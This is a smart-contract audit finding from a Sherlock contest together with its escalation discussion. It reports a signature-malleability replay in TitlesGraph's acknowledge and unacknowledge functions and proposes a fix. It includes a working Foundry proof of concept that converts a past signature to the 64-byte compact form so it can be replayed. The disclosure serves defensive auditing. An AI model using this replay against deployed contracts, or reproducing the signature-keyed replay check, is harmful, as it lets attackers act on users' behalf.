ComposableSecurity - Lack of protection from signature malleability

[sherlock-admin4]

ComposableSecurity

high

Lack of protection from signature malleability

Summary

The TitlesGraph contract is incorrectly protected from signature replay-attack via signature malleability because it uses signature as the key in isUsed mapping and SignatureCheckerLib library from solady repository.

Vulnerability Detail

The TitlesGraph contract uses a mapping isUsed to protect from replay attack on functions that accept signature parameter, which are: acknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_) and unacknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_).

The problem arises from two different issues, that must occur simultaneously.

First issue is that the signature is used as the mapping key (instead of the digest, potentially with some nonce) what could make it vulnerable to replay attack due to signature malleability.

That would however not be possible without the second issue, which is using the SignatureCheckerLib library from solady repository without detecting signature malleability. The library does not check for signature malleability itself, as stated in docs:
https://github.com/Vectorized/solady/blob/91d5f64b39a4d20a3ce1b5e985103b8ea4dc1cfc/src/utils/SignatureCheckerLib.sol#L19-L23

As the result, anyone can take any signature from past transactions of a particular user, generate it's different format (without any external information) and execute the opposite operation on behalf of the user.

PoC

Notice I had to add solidity-bytes-utils package and I made the _hashTypedData function public to make it easier to get the correct digest.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {IEdgeManager} from "src/interfaces/IEdgeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {NodeType, Edge, Node, Target, Unauthorized} from "src/shared/Common.sol";

import {BytesLib} from "lib/solidity-bytes-utils/contracts/BytesLib.sol";

contract TitlesGraphTest is Test {
    using BytesLib for bytes;

    TitlesGraph public titlesGraph;

    function setUp() public {
        titlesGraph = new TitlesGraph(address(this), address(this));
    }

    function test_acknowledgeEdge_withMalleableSignature() public {
        
        (address alice, uint256 alicePk) = makeAddrAndKey("alice");
        (address bob, uint256 bobPk) = makeAddrAndKey("bob");

        Edge memory edge = Edge({
            from: Node({
                nodeType: NodeType.COLLECTION_ERC1155,
                entity: Target({target: address(alice), chainId: block.chainid}),
                creator: Target({target: address(2), chainId: block.chainid}),
                data: ""
            }),
            to: Node({
                nodeType: NodeType.TOKEN_ERC1155,
                entity: Target({target: address(3), chainId: block.chainid}),
                creator: Target({target: address(bob), chainId: block.chainid}),
                data: abi.encode(42)
            }),
            acknowledged: true,
            data: ""
        });

        // Create the edge
        vm.prank(alice);
        titlesGraph.createEdge(edge.from, edge.to, "");
        bytes32 edgeId = titlesGraph.getEdgeId(edge);

        // CAUTION: I made _hashTypedData public to easily get the digest.
        bytes32 digest = titlesGraph._hashTypedData(
            keccak256(
                abi.encode(
                    keccak256("Ack(bytes32 edgeId,bytes data)"), 
                    edgeId, 
                    new bytes(0)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(bobPk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        // A valid signature will acknowledge the edge and emit an event
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeAcknowledged(edge, address(this), "");
        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), signature);

        // Unacknowledging with the same signature will revert
        vm.expectRevert(Unauthorized.selector);
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature);

        bytes memory signature2 = to2098Format(signature);
        // Unacknowledging with modified signature will work
        edge.acknowledged = false;
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeUnacknowledged(edge, address(this), "");
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature2);

    }

    /**
     * @dev Error that occurs when the signature length is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureLength(address emitter);

    /**
     * @dev Error that occurs when the signature value `s` is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureSValue(address emitter);

    function to2098Format(bytes memory signature) internal view returns (bytes memory) {
        if (signature.length != 65) revert InvalidSignatureLength(address(this));
        if (uint8(signature[32]) >> 7 == 1) revert InvalidSignatureSValue(address(this));
        bytes memory short = signature.slice(0, 64);
        uint8 parityBit = uint8(short[32]) | ((uint8(signature[64]) % 27) << 7);
        short[32] = bytes1(parityBit);
        return short;
    }
}

Impact

Anyone is able to acknowledge or unacknowledge the edge being acknowledged by the creator of the to node (using signature).

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40-L50

Tool used

Manual Review

Recommendation

Use digest (potentially with additional nonce if the same function parameters can be reused) instead of the signature as the mapping key.

Note that the additional nonce, if you plan to use it, must be included in the signed digest.

Duplicate of #279

[ComposableSecurityTeam]

Escalate

This is not duplicate of #273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one.

[sherlock-admin3]

Escalate

This is not duplicate of #273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[WangSecurity]

Agree with the escalation, planning to accept and duplicate with #279

[Evert0x]

Result:
Medium
Duplicate of #279

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• ComposableSecurityTeam: accepted